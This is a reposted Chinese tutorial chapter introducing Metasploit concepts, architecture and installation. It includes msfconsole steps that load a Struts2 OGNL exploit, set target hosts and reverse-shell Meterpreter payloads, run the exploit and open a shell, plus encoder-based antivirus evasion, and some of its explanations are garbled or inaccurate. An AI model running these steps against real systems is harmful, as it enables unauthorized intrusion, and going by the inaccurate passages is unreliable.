当前位置: 首页 > news >正文

Metasploit入门到高级【第三章】

来自公粽号:Kali与编程
预计更新

第一章:Metasploit 简介

  • Metasploit 是什么
  • Metasploit 的历史和发展
  • Metasploit 的组成部分

第二章:Kali Linux 入门

  • Kali Linux 简介
  • Kali Linux 安装和配置
  • 常用命令和工具介绍

第三章:Metasploit 基础

  • Metasploit 的基本概念
  • Metasploit 架构和工作原理
  • Metasploit 的安装和配置

第四章:信息收集

  • 信息收集的重要性
  • 扫描技术和工具介绍
  • 如何使用 Metasploit 进行信息收集

第五章:漏洞扫描与利用

  • 漏洞扫描的原理和方法
  • Metasploit 的漏洞扫描和利用模块
  • 常见漏洞的利用方法和技巧

第六章:远程控制

  • 远程控制的原理和方法
  • Metasploit 的远程控制模块
  • 如何使用 Metasploit 进行远程控制

第七章:社会工程学攻击

  • 社会工程学攻击的原理和方法
  • Metasploit 的社会工程学模块
  • 如何使用 Metasploit 进行社会工程学攻击

第八章:漏洞开发

  • 漏洞开发的基本原理
  • Metasploit 的漏洞开发模块
  • 如何使用 Metasploit 进行漏洞开发

第九章:Metasploit 高级应用

  • Metasploit 的高级应用技巧和方法
  • 如何使用 Metasploit 进行信息窃取、渗透测试等高级操作

第十章:Metasploit 案例分析

  • 一些真实的 Metasploit 攻击案例分析和总结
  • 对于 Metasploit 使用者的建议和注意事项

结语:未来展望

  • Metasploit 的未来发展趋势
  • Metasploit 的优缺点及其在安全领域中的作用

第三章:Metasploit 基础

  • Metasploit 的基本概念
  • Metasploit 架构和工作原理
  • Metasploit 的安装和配置
Metasploit 的基本概念

Metasploit是一款强大的安全工具,它可以帮助渗透测试人员和安全专家发现、评估和利用计算机系统中的各种安全漏洞。Metasploit具有广泛的应用场景,包括企业网络、Web应用程序、移动设备和物联网等领域。本文将介绍Metasploit的基本概念、架构、模块和使用方法。

一、Metasploit的基本概念

  1. Metasploit Framework

Metasploit Framework是Metasploit项目的核心组件,它是一个开源的攻击框架,提供了多种攻击模块和工具,可以帮助用户进行渗透测试和漏洞利用。Metasploit Framework包括多个子模块,如exploit、payload、auxiliary和post等,每个子模块都有不同的功能和用途。

  1. Exploit

Exploit是Metasploit Framework中最重要的模块之一,它是指用于利用计算机系统中存在的各种漏洞的程序或脚本。Exploit模块可以自动化执行攻击过程,并尝试获取系统的权限。

  1. Payload

Payload是Metasploit Framework中的另一个重要模块,它是指用于利用漏洞后在目标系统上执行的恶意代码。Payload通常包括程序、脚本或shellcode等,可以用于远程控制目标系统、执行命令、获取系统信息等操作。

  1. Auxiliary

Auxiliary是Metasploit Framework中的辅助模块,它通常用于扫描、嗅探和探测目标系统的漏洞和服务。Auxiliary模块不会执行攻击行为,而是提供了一些辅助功能,如端口扫描、DNS查询、FTP爆破等。

  1. Post

Post是Metasploit Framework中的后渗透模块,它用于在成功入侵目标系统后执行各种后续操作。Post模块可以帮助用户收集目标系统的信息、获取敏感数据、执行命令等操作,从而更好地维持访问权限。

  1. Meterpreter

Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。

  1. Module

Module是Metasploit Framework中的基本单元,它是一段代码或脚本,用于执行特定的任务或实现特定的功能。Module可以包括Exploit、Payload、Auxiliary或Post等不同类型的模块。

二、Metasploit的架构

Metasploit Framework采用了模块化的设计思想,它的架构包括以下几个主要组件:

  1. Console

Console是Metasploit Framework的用户界面,提供了交互式的命令行接口和图形化的Web界面。通过Console,用户可以执行各种操作,如模块加载、漏洞扫描、渗透测试等。

  1. RPC Server

RPC Server提供了一个远程调用接口,使得Metasploit Framework可以通过网络连接进行控制和管理。RPC Server可以用于多种应用场景,如在大规模渗透测试中集中管理多个Metasploit实例、远程协作和监控等。

  1. Database

Database是Metasploit Framework的数据存储组件,用于保存各种配置信息、漏洞扫描结果、渗透测试记录等数据。Metasploit Framework支持多种数据库,包括SQLite、MySQL和PostgreSQL等,用户可以根据需要选择合适的数据库类型。

  1. Payload Generator

Payload Generator是Metasploit Framework中的一个工具,用于生成不同类型的Payload。Payload Generator可以自定义Payload的属性(如IP地址、端口号、编码方式等),以适应不同的攻击场景和目标系统。

  1. Exploit Database

Exploit Database是Metasploit项目的另一个核心组件,它是一个在线漏洞库,包含了大量已知的漏洞和对应的Exploit模块。用户可以通过Exploit Database查找特定的漏洞和Exploit模块,快速确定是否存在安全风险,并选择合适的工具进行漏洞利用。

三、Metasploit的模块

  1. Exploit模块

Exploit模块是Metasploit Framework中最重要的模块之一,用于利用目标系统中的各种漏洞。Exploit模块通常包括多个子模块,如payload、encoder、nop、auxiliary等。

  • Payload

Payload是Exploit模块中的一个子模块,用于实现攻击成功后在目标系统上执行的代码。Payload可以包括程序、脚本或shellcode等,用于获取系统权限、远程控制目标系统、执行命令等操作。

  • Encoder

Encoder是Exploit模块中的另一个子模块,用于对Payload进行编码和加密。Encoder可以增强Payload的免杀能力,使得Payload不易被杀毒软件和入侵检测系统识别。

  • NOP

NOP是Exploit模块中的一个子模块,用于在执行payload代码前填充一些无意义的指令(如nop、mov eax, eax等),以防止攻击者使用特定的攻击签名进行检测。

  • Auxiliary

Auxiliary是Metasploit Framework中的辅助模块,与Exploit模块不同,它不会执行真正的攻击行为,而是提供了一些辅助功能,如端口扫描、DNS查询、FTP爆破等。

  1. Post模块

Post模块是Metasploit Framework中的后渗透模块,用于在成功入侵目标系统后执行各种后续操作。Post模块可以帮助用户收集目标系统的信息、获取敏感数据、执行命令等操作,从而更好地维持访问权限。

  1. Payload Generator

Payload Generator是Metasploit Framework中的一个工具,用于生成不同类型的Payload。Payload Generator可以自定义Payload的属性(如IP地址、端口号、编码方式等),以适应不同的攻击场景和目标系统。

  1. Meterpreter

Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。

四、Metasploit的使用方法

  1. 安装Metasploit Framework

Metasploit Framework可以在Linux、Windows和Mac OS X等多种操作系统中安装和运行。用户可以从Metasploit官方网站(https://metasploit.com/)下载并安装最新版本的Metasploit Framework。

  1. 启动Metasploit Console

Metasploit Console是Metasploit Framework的默认用户界面,用户可以通过启动Console进入Metasploit Framework控制台。

  1. 搜索Exploit模块

用户可以通过search命令在Met asploit Framework中搜索Exploit模块。例如,要搜索与Apache Struts有关的Exploit模块,可以使用以下命令:

msf6 > search Apache Struts

搜索结果会列出所有与Apache Struts相关的Exploit模块。

  1. 加载Exploit模块

用户可以使用use命令加载Exploit模块,例如:

msf6 > use exploit/multi/http/struts2_content_type_ognl

这将加载一个针对Apache Struts漏洞的Exploit模块,并进入该模块的上下文环境。

  1. 设置Exploit参数

用户需要设置一些参数来配置Exploit模块,例如目标IP地址、端口号和Payload类型等。Metasploit Framework提供了set命令来设置Exploit模块的参数。例如,要设置目标IP地址为192.168.1.100,可以使用以下命令:

msf6 exploit(multi/http/struts2_content_type_ognl) > set RHOST 192.168.1.100
  1. 运行Exploit模块

当Exploit模块参数设置完成后,用户可以通过exploit命令来运行Exploit模块。Metasploit Framework会自动执行攻击并尝试获取系统权限。例如,要运行刚才加载的Exploit模块,可以使用以下命令:

msf6 exploit(multi/http/struts2_content_type_ognl) > exploit
  1. 使用Meterpreter

如果Exploit成功获取了目标系统的权限,用户可以使用Meterpreter来进行后续操作。例如,要使用Meterpreter在目标系统上执行命令,可以使用以下命令:

msf6 exploit(multi/http/struts2_content_type_ognl) > sessions -i 1
meterpreter > shell

这将打开一个交互式Shell访问,允许用户在目标系统上执行各种命令。

总结

Metasploit是一款强大的安全工具,它可以帮助渗透测试人员和安全专家发现、评估和利用计算机系统中的各种安全漏洞。Metasploit Framework采用了模块化的设计思想,提供了多种攻击模块和工具,可用于深度渗透测试和攻击。本文介绍了Metasploit的基本概念、架构、模块和使用方法,希望能对读者有所帮助。

Metasploit 架构和工作原理

Metasploit Framework是一款常用的渗透测试和漏洞利用工具,它采用模块化的设计思想,提供了多种攻击模块和工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。本文将介绍Metasploit的架构和工作原理,包括Metasploit Framework的组件、数据流程和核心技术。

一、Metasploit Framework的组件

Metasploit Framework的架构由多个组件组成,其中最重要的组件包括Console、RPC Server、Database、Payload Generator、Exploit Database和Module等。

  1. Console

Console是Metasploit Framework的用户界面,提供了交互式的命令行接口和图形化的Web界面。通过Console,用户可以执行各种操作,如模块加载、漏洞扫描、渗透测试等。

  1. RPC Server

RPC Server提供了一个远程调用接口,使得Metasploit Framework可以通过网络连接进行控制和管理。RPC Server可以用于多种应用场景,如在大规模渗透测试中集中管理多个Metasploit实例、远程协作和监控等。

  1. Database

Database是Metasploit Framework的数据存储组件,用于保存各种配置信息、漏洞扫描结果、渗透测试记录等数据。Metasploit Framework支持多种数据库,包括SQLite、MySQL和PostgreSQL等,用户可以根据需要选择合适的数据库类型。

  1. Payload Generator

Payload Generator是Metasploit Framework中的一个工具,用于生成不同类型的Payload。Payload Generator可以自定义Payload的属性(如IP地址、端口号、编码方式等),以适应不同的攻击场景和目标系统。

  1. Exploit Database

Exploit Database是Metasploit项目的另一个核心组件,它是一个在线漏洞库,包含了大量已知的漏洞和对应的Exploit模块。用户可以通过Exploit Database查找特定的漏洞和Exploit模块,快速确定是否存在安全风险,并选择合适的工具进行漏洞利用。

  1. Module

Module是Metasploit Framework中的基本单元,它是一段代码或脚本,用于执行特定的任务或实现特定的功能。Module可以包括Exploit、Payload、Auxiliary或Post等不同类型的模块。

二、Metasploit Framework的数据流程

Metasploit Framework的工作流程可以简单地描述为:选择目标 → 扫描漏洞 → 利用漏洞 → 维持访问权限。

  1. 选择目标

在使用Metasploit Framework进行渗透测试和漏洞利用之前,用户需要先选择一个或多个目标系统。Metasploit Framework支持多种目标系统,包括网络设备、Web应用程序、移动设备和物联网等。

  1. 扫描漏洞

一旦选择了目标系统,用户就需要使用Metasploit Framework中的扫描模块来发现目标系统中的漏洞和弱点。扫描模块可以帮助用户识别系统中存在的漏洞、开放的端口和服务等信息,为后续攻击做好准备。

  1. 利用漏洞

在发现目标系统中存在的漏洞后,用户可以使用Metasploit Framework中的Exploit模块来尝试利用这些漏洞。Exploit模块可以自动执行攻击过程,并尝试获取系统的权限。如果Exploit成功获取了目标系统的权限,用户可以使用Meterpreter来进行后续操作。

  1. 维持访问权限

当用户成功入侵目标系统后,需要维持对该系统的访问权限以便执行更多操作。在Metasploit Framework中,用户可以使用Post模块和Meterpreter来实现这一目标。Post模块是用于执行后渗透操作的模块,它可以帮助用户收集目标系统的信息、获取敏感数据、执行命令等操作,从而更好地维持访问权限。Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。

三、Metasploit Framework的核心技术

Metasploit Framework采用了多种先进的技术,使得其成为一款功能强大的安全工具。以下是其中几个核心技术:

  1. 模块化设计

Metasploit Framework采用了模块化的设计思想,将不同类型的模块分离开来,使得用户可以灵活地选择和组合不同的模块。这种模块化的设计使得Metasploit Framework能够适应不同的攻击场景和目标系统,并提高了攻击的成功率和效率。

  1. 自动化攻击

Metasploit Framework的Exploit模块可以自动执行攻击过程,并尝试获取系统权限,这大大提高了攻击的成功率和效率。同时,Meterpreter也提供了丰富的自动化功能,如文件上传下载、远程桌面访问等,使得用户可以更方便地进行后续操作。

  1. Payload混淆技术

Payload是Metasploit Framework中的一个重要组件,它用于实现攻击成功后在目标系统上执行的代码。为了避免Payload被杀毒软件和入侵检测系统识别,Metasploit Framework采用了Payload混淆技术。这种技术可以将Payload进行编码、加密和压缩等处理,使得Payload更难以被检测和拦截。

  1. Metasploit Console

Metasploit Console是Metasploit Framework的默认用户界面,提供了交互式的命令行接口和图形化的Web界面。Metasploit Console可以帮助用户管理和控制Metasploit Framework的各种组件和模块,从而更方便地进行渗透测试和漏洞利用。

  1. Meterpreter

Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。Meterpreter还支持隧道技术,可以在网络层对数据进行加密和隐藏,提高了攻击的隐蔽性和安全性。

四、总结

Metasploit Framework是一款功能强大、易用性高的安全工具,它采用模块化的设计思想,提供了多种攻击模块和工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。Metasploit Framework的核心技术包括模块化设计、自动化攻击、Payload混淆技术、Metasploit Console和Meterpreter等。通过熟练掌握Metasploit Framework的使用方法和原理,用户可以更好地进行渗透测试和漏洞利用,提高系统安全性。

Metasploit Framework的数据流程包括选择目标、扫描漏洞、利用漏洞和维持访问权限等步骤。用户可以使用Metasploit Framework中的不同模块和工具来完成这些步骤,并执行各种操作。

Metasploit Framework的架构由多个组件组成,包括Console、RPC Server、Database、Payload Generator、Exploit Database和Module等。这些组件共同协作,使得Metasploit Framework能够实现各种功能和操作。

总之,Metasploit Framework是一款必备的安全工具,对于渗透测试人员和安全专家来说十分重要。熟练掌握Metasploit Framework的使用方法和原理,可以帮助用户更好地发现、评估和利用计算机系统中的各种安全漏洞,提高系统的安全性。

Metasploit 的安装和配置

Metasploit Framework是一款常用的渗透测试和漏洞利用工具,它采用模块化的设计思想,提供了多种攻击模块和工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。本文将介绍Metasploit的安装和配置,包括不同操作系统的安装方法和常用配置选项。

一、Windows系统下的安装和配置

  1. 下载安装程序

首先需要下载Metasploit Framework的安装程序,可以从官方网站(https://www.metasploit.com/)或者第三方下载站点上下载。选择Windows版本的安装程序(msfsetup.exe),然后双击运行进行安装。

  1. 安装过程

在安装过程中,需要指定Metasploit Framework的安装路径和数据库类型等设置。可以使用默认设置,也可以根据需要进行自定义设置。

  1. 启动Metasploit Console

安装完成后,可以通过开始菜单中的“Metasploit Framework”选项启动Metasploit Console。启动后,控制台会自动连接到本地主机上的Metasploit RPC Server,并加载默认的Exploit和Payload模块。

  1. 配置选项

在Metasploit Console中,可以通过设置不同的选项来定制Metasploit Framework的行为。常用的配置选项包括:LHOST和LPORT(指定本地IP地址和端口号)、RHOST和RPORT(指定目标IP地址和端口号)、PAYLOAD(选择不同类型的Payload)等。可以使用set命令来设置这些选项,如:

msf6 > set LHOST 192.168.1.100
msf6 > set LPORT 4444
msf6 > set RHOST 192.168.1.200
msf6 > set RPORT 80
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp

二、Linux系统下的安装和配置

  1. 下载安装程序

在Linux系统中,可以通过包管理器或官方网站下载和安装Metasploit Framework。根据不同的发行版和版本,可以使用不同的命令和方式进行安装。以Ubuntu为例,在终端中执行以下命令即可下载和安装Metasploit Framework:

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install metasploit-framework
  1. 启动Metasploit Console

安装完成后,可以在终端中启动Metasploit Console。输入以下命令即可启动控制台:

msfconsole
  1. 配置选项

在Metasploit Console中,可以使用set命令来设置不同的选项。常用的配置选项包括:LHOST和LPORT(指定本地IP地址和端口号)、RHOST和RPORT(指定目标IP地址和端口号)、PAYLOAD(选择不同类型的Payload)等。例如:

msf6 > set LHOST 192.168.1.100
msf6 > set LPORT 4444
msf6 > set RHOST 192.168.1.200
msf6 > set RPORT 80
msf6 > set PAYLOAD linux/x86/meterpreter/reverse_tcp

三、常用配置选项

  1. LHOST和LPORT

LHOST和LPORT是Metasploit Framework中的两个重要的配置选项,它们分别指定了本地主机的IP地址和端口号。在Exploit和Payload模块中,需要使用这些选项来建立反向连接或监听器。通常情况下,LHOST可以设置为本地主机的IP地址(如192.168.1.100),LPORT可以设置为任意未被占用的端口号(如4444)。

  1. RHOST和RPORT

RHOST和RPORT是Metasploit Framework中另外两个重要的配置选项,它们分别指定了目标系统的IP地址和端口号。在Exploit和Payload模块中,需要使用这些选项来连接到目标系统或向其发送攻击载荷。通常情况下,RHOST可以设置为目标系统的IP地址(如192.168.1.200),RPORT可以设置为目标系统上开放的服务端口号(如80)。

  1. PAYLOAD

PAYLOAD是Metasploit Framework中的另一个重要的配置选项,它指定了将在目标系统上执行的Payload类型。Payload是一种用于实现攻击后渗透的代码,可以提供交互式Shell访问、文件上传下载、远程桌面访问等功能。在选择Payload时,需要考虑目标系统的操作系统类型和版本、防护措施等因素。例如,对于Windows系统,可以选择windows/meterpreter/reverse_tcp或者windows/shell_reverse_tcp等Payload;对于Linux系统,可以选择linux/x86/meterpreter/reverse_tcp或者linux/x64/shell_reverse_tcp等Payload。

  1. Encoder

Encoder是Metasploit Framework中用于混淆Payload的工具,可以将Payload进行编码、加密和压缩等处理,使得Payload更难以被检测和拦截。在使用Encoder时,需要根据Payload类型和目标系统的防护措施选择合适的Encoder。常用的Encoder包括xor、shikata_ga_nai和unicode等。

  1. NOP Generator

NOP Generator是Metasploit Framework中用于生成NOP(No-operation)的工具,可以在攻击载荷中插入一些无效的指令,从而混淆攻击载荷,提高攻击的成功率。在使用NOP Generator时,需要根据Payload类型和目标系统的防护措施选择合适的NOP Generator。

四、总结

Metasploit Framework是一款强大的渗透测试和漏洞利用工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。在使用Metasploit Framework时,需要先进行安装和配置,并设置不同的选项和参数来定制Metasploit Framework的行为。常用的配置选项包括LHOST、LPORT、RHOST、RPORT、PAYLOAD、Encoder和NOP Generator等。熟练掌握Metasploit Framework的安装和配置方法,可以更好地利用其功能和特性,提高渗透测试和漏洞利用的效果和效率。

相关文章:

Metasploit入门到高级【第三章】

来自公粽号:Kali与编程预计更新第一章:Metasploit 简介 Metasploit 是什么Metasploit 的历史和发展Metasploit 的组成部分 第二章:Kali Linux 入门 Kali Linux 简介Kali Linux 安装和配置常用命令和工具介绍 第三章:Metasploi…...

枚举的使用

Java 枚举是一个特殊的类,一般表示一组常量,比如一年的 4 个季节,一个年的 12 个月份,一个星期的 7 天,方向有东南西北等。1 问题如何在类中使用枚举,例如枚举出一年的四个季度,并且通过迭代枚举…...

Python进阶语法

1.1 Python进阶语法 1.1.1 交换变量 一行代码快速交换两个变量&#xff0c;无需创建临时变量。 from icecream import ica 2 b 4 a, b b, a ic(a, b)ic| a: 4, b: 2 1.1.2 链式比较 from icecream import ica 97 if 90 < a < 100:ic(a)ic| a: 97 1.1.3 初始化列表…...

Pyspark_结构化流4

Pyspark 注&#xff1a;大家觉得博客好的话&#xff0c;别忘了点赞收藏呀&#xff0c;本人每周都会更新关于人工智能和大数据相关的内容&#xff0c;内容多为原创&#xff0c;Python Java Scala SQL 代码&#xff0c;CV NLP 推荐系统等&#xff0c;Spark Flink Kafka Hbase Hi…...

Linux cmp 命令

Linux cmp 命令用于比较两个文件是否有差异。 当相互比较的两个文件完全一样时&#xff0c;则该指令不会显示任何信息。若发现有所差异&#xff0c;预设会标示出第一个不同之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为"-"&#xff0c;则cmp指令…...

Python入门到高级【第五章】

预计更新第一章. Python 简介 Python 简介和历史Python 特点和优势安装 Python 第二章. 变量和数据类型 变量和标识符基本数据类型&#xff1a;数字、字符串、布尔值等字符串操作列表、元组和字典 第三章. 控制语句和函数 分支结构&#xff1a;if/else 语句循环结构&#…...

C语言中(i++)+ (i++)真的每次都等于3吗?

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录前言结论证明首先&#xff0c;登场的是我们的VC6.0&#xff08;还有Linux&#xff09;最后一位&#xff0c;我使用了小熊猫C&#xff08;还有Clion&#xff09;请添加…...

Cursor,程序员的 AI 代码编辑助手

相信大家都或多或少地听说过、了解过 chatGPT &#xff0c;半个月前发布的 GPT-4 &#xff0c;可谓是 AI 赛道上的一个王炸 那么今天咸鱼给大家分享一个开源的 AI 代码编辑器——Cursor&#xff0c;让各位程序员在编程之路上一骑绝尘 &#x1f603; 介绍 Cursor 是一个人工智…...

基于XML的自动装配~

基于XML的自动装配之场景模拟&#xff1a; 自动装配&#xff1a;根据指定的策略&#xff0c;在IOC容器中匹配某一个bean&#xff0c;自动为指定的bean中所依赖的类类型或者接口类型赋值 之前我们学过的依赖注入&#xff0c;我们在为不同属性赋值时&#xff0c;例如类类型的属性…...

完全二叉树的4种遍历方式

一张二叉树的图 1&#xff0c;二叉树的特点 每个点p的左儿子是p*2,右儿子是p*21&#xff0c;可以分别表示为p<<1与p<<1|1节点的序号是从左到右&#xff0c;从上到下增加的每个点至多2个儿子&#xff08;屁话&#xff08;bushi&#xff09;&#xff09; 2&#xff…...

【vue2】使用elementUI进行表单验证实操(附源码)

&#x1f973;博 主&#xff1a;初映CY的前说(前端领域) &#x1f31e;个人信条&#xff1a;想要变成得到&#xff0c;中间还有做到&#xff01; &#x1f918;本文核心&#xff1a;vue使用elementUI进行表单验证实操&#xff08;附源码&#xff09; 【前言】我们在构建一…...

JUC之阻塞队列解读(BlockingQueue)

目录 BlockingQueue 简介 BlockingQueue 核心方法 1.放入数据 2.获取数据 入门代码案例 常见的 BlockingQueue ArrayBlockingQueue(常用) LinkedBlockingQueue(常用) PriorityBlockingQueue SynchronousQueue LinkedTransferQueue LinkedBlockingDeque 小结 Bloc…...

LCHub:ChatGPT4和低代码来临,程序员面临下岗?

一个网友吐槽道: “ 建站出来了,你们说程序员会失业。 低代码出来了,你们说程序员会失业。 Copilot出来了,你们说程序员会失业。 Chatgpt出来了,你们说程序员会失业 虽然这只是网友的吐槽,但却引起了小编的好奇。为何程序员那么容易被新技术取代?今天小编打算跟大家…...

【Node.js】Express框架的基本使用

✍️ 作者简介: 前端新手学习中。 &#x1f482; 作者主页: 作者主页查看更多前端教学 &#x1f393; 专栏分享&#xff1a;css重难点教学 Node.js教学 从头开始学习 目录 初识Express Express简介 什么是Express 进一步理解 Express Express能做什么 Express的基本使用 …...

使用docker 和 kubnernetes 部署单节点/多节点 kafka 环境

参考资料 https://kafka.apachecn.org/documentation.html#configuration kafka的broker有三个核心配置 broker.idlog.dirszookeeper.connect docker启动单节点kafka环境 启动zookeeper 可配置的环境变量&#xff0c;https://gallery.ecr.aws/bitnami/zookeeper $ docker …...

Linux使用:环境变量指南和CPU和GPU利用情况查看

Linux使用&#xff1a;环境变量指南和CPU和GPU利用情况查看Linux环境变量初始化与对应文件的生效顺序Linux的变量种类设置环境变量直接运行export命令定义变量修改系统环境变量修改用户环境变量修改环境变量配置文件环境配置文件的区别profile、 bashrc、.bash_profile、 .bash…...

深入浅出 SSL/CA 证书及其相关证书文件(pem、crt、cer、key、csr)

互联网是虚拟的&#xff0c;通过互联网我们无法正确获取对方真实身份。数字证书是网络世界中的身份证&#xff0c;数字证书为实现双方安全通信提供了电子认证。数字证书中含有密钥对所有者的识别信息&#xff0c;通过验证识别信息的真伪实现对证书持有者身份的认证。数字证书可…...

Compose(1/N) - 概念 基本使用

一、概念 1.1 解决的问题 APP展示的数据绝大多数不是静态数据而是会实时更新&#xff0c;传统的命令式UI写法更新界面繁琐且容易同步错误。1.2 Compose优势 由一个个可组合的Composable函数&#xff08;可看作是一个Layout布局&#xff09;拼成界面&#xff0c;方便维护和复用…...

2023高质量Java面试题集锦:高级Java工程师面试八股汇总

人人都想进大厂&#xff0c;当然我也不例外。早在春招的时候我就有向某某某大厂投岗了不少简历&#xff0c;可惜了&#xff0c;疫情期间都是远程面试&#xff0c;加上那时自身也有问题&#xff0c;导致屡投屡败。突然也意识到自己肚子里没啥货&#xff0c;问个啥都是卡卡卡卡&a…...

MySQL多表查询 子查询效率(DQL语句)

多表关系 项目开发中&#xff0c;在进行数据库表结构设计时&#xff0c;会根据业务需求及业务模块之间的关系&#xff0c;分析并设计表结构&#xff0c;由于业务之间相互关联&#xff0c;所以各个表结构之间也存在着各种联系&#xff0c;基本上分为三种&#xff1a; 一对多(多…...

Linux中 ps命令详解

一、基础概念 指令&#xff1a; ps 作用&#xff1a;查看系统进程&#xff0c;比如正在运行的进程有哪些&#xff0c;什么时候开始运行的&#xff0c;哪个用户运行的&#xff0c;占用了多少资源。 参数&#xff1a; -e 显示所有进程-f 显示所有字段&#xff08;UID&…...

【Python语言基础】——Python 关键字

Python语言基础——Python 关键字 文章目录Python语言基础——Python 关键字一、Python 关键字一、Python 关键字 Python 有一组关键字&#xff0c;这些关键字是保留字&#xff0c;不能用作变量名、函数名或任何其他标识符&#xff1a; 关键字 描述 and 逻辑运算符。 as 创建别…...

Java SE 基础(8)关键字和保留字

关键字 定义&#xff1a;被Java 语言赋予了特殊含义&#xff0c;用做专门用途的字符串&#xff08;单词&#xff09; 特点&#xff1a; 关键字中所有字母都为小写 用于定义数据类型的关键字 class、interface、 enum 、byte 、short、 int 、long、 float、 double、 char 、…...

Thinkphp 6.0响应输出和重定向

本节课我们来学习一下响应操作&#xff0c;响应输出和重定向。 一&#xff0e;响应操作 1. 响应输出&#xff0c;有好几种&#xff1a;包括 return、json()和 view()等等&#xff1b; 2. 默认输出方式是以 html 格式输出&#xff0c;如果你发起 json 请求&#xff0c;则输出 js…...

Centos html 中文 显示为乱码

0 &#xff1a; CentOS发布静态网页 之 httpd开启 https://blog.csdn.net/weixin_39689870/article/details/118146160 #yum install -y httpd #systemctl start httpd.service/etc/httpd/conf&#xff1a;该目录存放Apache服务器的配置文件 /var/www/html&#xff1a;该目录是…...

Helm学习笔记

文章目录概念定义helm组件helm的工作流程helm安装helm仓库helm部署应用helm应用的更新或回退或卸载概念 定义 学习helm首先得了解helm是什么&#xff0c;我们先来看一下helm的定义&#xff1a;helm是将kubernetes的各种资源对象打包&#xff0c;类似于Linux中的yum工具&#…...

深入学习JavaScript系列(二)——作用域和作用域链

本篇为第二篇&#xff0c;本系列文章会在后续学习后持续更新。 第一篇&#xff1a;#深入学习JavaScript系列&#xff08;一&#xff09;—— ES6中的JS执行上下文 第二篇&#xff1a;# 深入学习JavaScript系列&#xff08;二&#xff09;——作用域和作用域链 第三篇&#x…...

【计算机视觉 | 目标检测】DETR风格的目标检测框架解读

文章目录一、前言二、理解2.1 DETR的理解2.2 DETR的细致理解2.2.1 Backbone2.2.2 Transformer encoder2.2.3 Transformer decoder2.2.4 Prediction feed-forward networks (FFNs)2.2.5 Auxiliary decoding losses2.3 更具体的结构2.4 编码器的原理和作用2.5 解码器的原理和作用…...

【LeetCode】剑指 Offer 41. 数据流中的中位数 p214 -- Java Version

题目链接&#xff1a;https://leetcode.cn/problems/shu-ju-liu-zhong-de-zhong-wei-shu-lcof 1. 题目介绍&#xff08;41. 数据流中的中位数&#xff09; 如何得到一个数据流中的中位数&#xff1f;如果从数据流中读出奇数个数值&#xff0c;那么中位数就是所有数值排序之后位…...

CSS3 知识总结

1&#xff0c;什么是CSS 用于定义网页的样式&#xff0c;包括不同设备和屏幕尺寸的设计、布局和显示变化。 2&#xff0c;CSS的作用优点 CSS 描述 HTML 元素如何在屏幕、纸张或其他媒体上显示 CSS 节省了大量工作。它可以一次控制多个网页的布局 3&#xff0c;css构成 CSS 规…...